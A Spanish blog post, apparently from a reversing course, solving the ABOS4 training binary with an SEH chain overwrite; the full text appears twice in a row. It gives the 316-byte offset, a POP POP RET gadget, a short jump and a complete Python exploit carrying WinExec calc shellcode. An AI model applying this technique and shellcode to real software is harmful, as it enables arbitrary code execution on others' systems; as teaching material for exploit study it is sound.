Buenas de nuevo,
Esta entrada es la continuación de la resolución del ABOS4, visto en la entrada anterior. En este caso, lo haremos machacando la cadena SEH.
Como tenemos una idea de como estaba compuesto el binario anterior, aquí nos vamos a centrar en la construcción del exploit.
Sabemos que debido a la característica del SEH en x86, cuando se produce una excepción se lanza el manejador de excepciones, y este está compuesto por 2 campos:
Primer paso que debemos hacer, es provocar una excepción en el primer gets() para ello vamos a generar una cadena "pseudoaleatoria" de un tamaño enorme hasta provocar la excepción.
Con x32Dbg vamos a ver la dirección que hemos machacado en el SEH chain y así sacaremos el tamaño de relleno que tenemos que introducir para machacar el controlador de excepciones:
Para construir el exploit usaremos python, ya que es mas sencillo su uso:
random_string = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 3000)) #Generamos cadena gigante pseudoaleatoria, para sobrescribir la dirección que gestiona el SEH.
Miramos con x32Dbg la dirección que se ha machacado y vemos que hay una distacia de 316 bytes entre la posición de la variable var_a_machacar que pasamos como parámetro al gets() y el next_seh.
Por lo tanto ya sabemos que hasta machacar el SEH tenemos que introducir por el gets() 316 valores.
payload = 316 * b'A' + Dir_nextSEH+ Dir_SEHhandle ....
Por las características de SEH en x86, hemos visto que la cuando entramos en el código de gestión de la excepción, la dirección del próximo SEH se encuentra 3 posiciones mas abajo en la pila. Por lo que si tenemos en nuestro ejecutable las instrucciones POP X + POP X + RET --> podremos saltar a ejecutar la dirección indicada en Dir_nextSEH.
Localizamos en la dirección 0x00401F2D, la secuencia de las instrucciones pop, pop y ret. por lo tanto, esa sera la dirección que pondremos en Dir_SEHhandle y esto hará que ejecutemos lo que pongamos en la dirección Dir_nextSEH que en nuestro caso sera:
0x90 --> NOP
0x90 --> NOP
0xEB06 --> Salto a los 6 bytes mas abajo, para saltar los 2 bytes de 0xeb06 y los 4 bytes de Dir_SEHhandle (0x00401F2D) y empezara así a ejecutar la shellcode que pongamos a continuación que esta detallada en una de las entradas anteriores del blog.
Por lo tanto nuestro exploit quedaría de la siguiente manera escrito en python:
from subprocess import Popen, PIPE
import struct
import random
import string
#Creamos el PAYLOAD
payload = 316 * b'A' #--> Relleno inicial para llegar a la direccion del SEH
payload += b'\xeb\x06\x90\x90' # --> Dirección del proximo SEH
payload += struct.pack ('<I', 0x00401F2D) # --> Dirección donde encontramos el POP POP RET
winexec_calc_shellcode =b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'
aniadimos_exit = b'\x68\x33\x12\x40\x00\xC3' #--> PUSH 0x00401233 + RET (exit())
payload += winexec_calc_shellcode
payload += aniadimos_exit
payload += b'A' * 3000 --> Provocamos la excepción.
#Lanzamos el payload creado:
p1 = Popen(r"C:\Users\juan\Desktop\Curso_Reversing_freeTools\ejercicios\Ejercicios\ABOS\ABO4_VS_2017.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()
Un saludo
Esta entrada es la continuación de la resolución del ABOS4, visto en la entrada anterior. En este caso, lo haremos machacando la cadena SEH.
Como tenemos una idea de como estaba compuesto el binario anterior, aquí nos vamos a centrar en la construcción del exploit.
Sabemos que debido a la característica del SEH en x86, cuando se produce una excepción se lanza el manejador de excepciones, y este está compuesto por 2 campos:
- Dirección del siguiente SEH
- Dirección que se encarga de gestionar la excepción.
Primer paso que debemos hacer, es provocar una excepción en el primer gets() para ello vamos a generar una cadena "pseudoaleatoria" de un tamaño enorme hasta provocar la excepción.
Con x32Dbg vamos a ver la dirección que hemos machacado en el SEH chain y así sacaremos el tamaño de relleno que tenemos que introducir para machacar el controlador de excepciones:
Para construir el exploit usaremos python, ya que es mas sencillo su uso:
random_string = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 3000)) #Generamos cadena gigante pseudoaleatoria, para sobrescribir la dirección que gestiona el SEH.
Miramos con x32Dbg la dirección que se ha machacado y vemos que hay una distacia de 316 bytes entre la posición de la variable var_a_machacar que pasamos como parámetro al gets() y el next_seh.
Por lo tanto ya sabemos que hasta machacar el SEH tenemos que introducir por el gets() 316 valores.
payload = 316 * b'A' + Dir_nextSEH+ Dir_SEHhandle ....
Por las características de SEH en x86, hemos visto que la cuando entramos en el código de gestión de la excepción, la dirección del próximo SEH se encuentra 3 posiciones mas abajo en la pila. Por lo que si tenemos en nuestro ejecutable las instrucciones POP X + POP X + RET --> podremos saltar a ejecutar la dirección indicada en Dir_nextSEH.
Localizamos en la dirección 0x00401F2D, la secuencia de las instrucciones pop, pop y ret. por lo tanto, esa sera la dirección que pondremos en Dir_SEHhandle y esto hará que ejecutemos lo que pongamos en la dirección Dir_nextSEH que en nuestro caso sera:
0x90 --> NOP
0x90 --> NOP
0xEB06 --> Salto a los 6 bytes mas abajo, para saltar los 2 bytes de 0xeb06 y los 4 bytes de Dir_SEHhandle (0x00401F2D) y empezara así a ejecutar la shellcode que pongamos a continuación que esta detallada en una de las entradas anteriores del blog.
Por lo tanto nuestro exploit quedaría de la siguiente manera escrito en python:
from subprocess import Popen, PIPE
import struct
import random
import string
#Creamos el PAYLOAD
payload = 316 * b'A' #--> Relleno inicial para llegar a la direccion del SEH
payload += b'\xeb\x06\x90\x90' # --> Dirección del proximo SEH
payload += struct.pack ('<I', 0x00401F2D) # --> Dirección donde encontramos el POP POP RET
winexec_calc_shellcode =b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'
aniadimos_exit = b'\x68\x33\x12\x40\x00\xC3' #--> PUSH 0x00401233 + RET (exit())
payload += winexec_calc_shellcode
payload += aniadimos_exit
payload += b'A' * 3000 --> Provocamos la excepción.
#Lanzamos el payload creado:
p1 = Popen(r"C:\Users\juan\Desktop\Curso_Reversing_freeTools\ejercicios\Ejercicios\ABOS\ABO4_VS_2017.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()
Un saludo
Comentarios
Publicar un comentario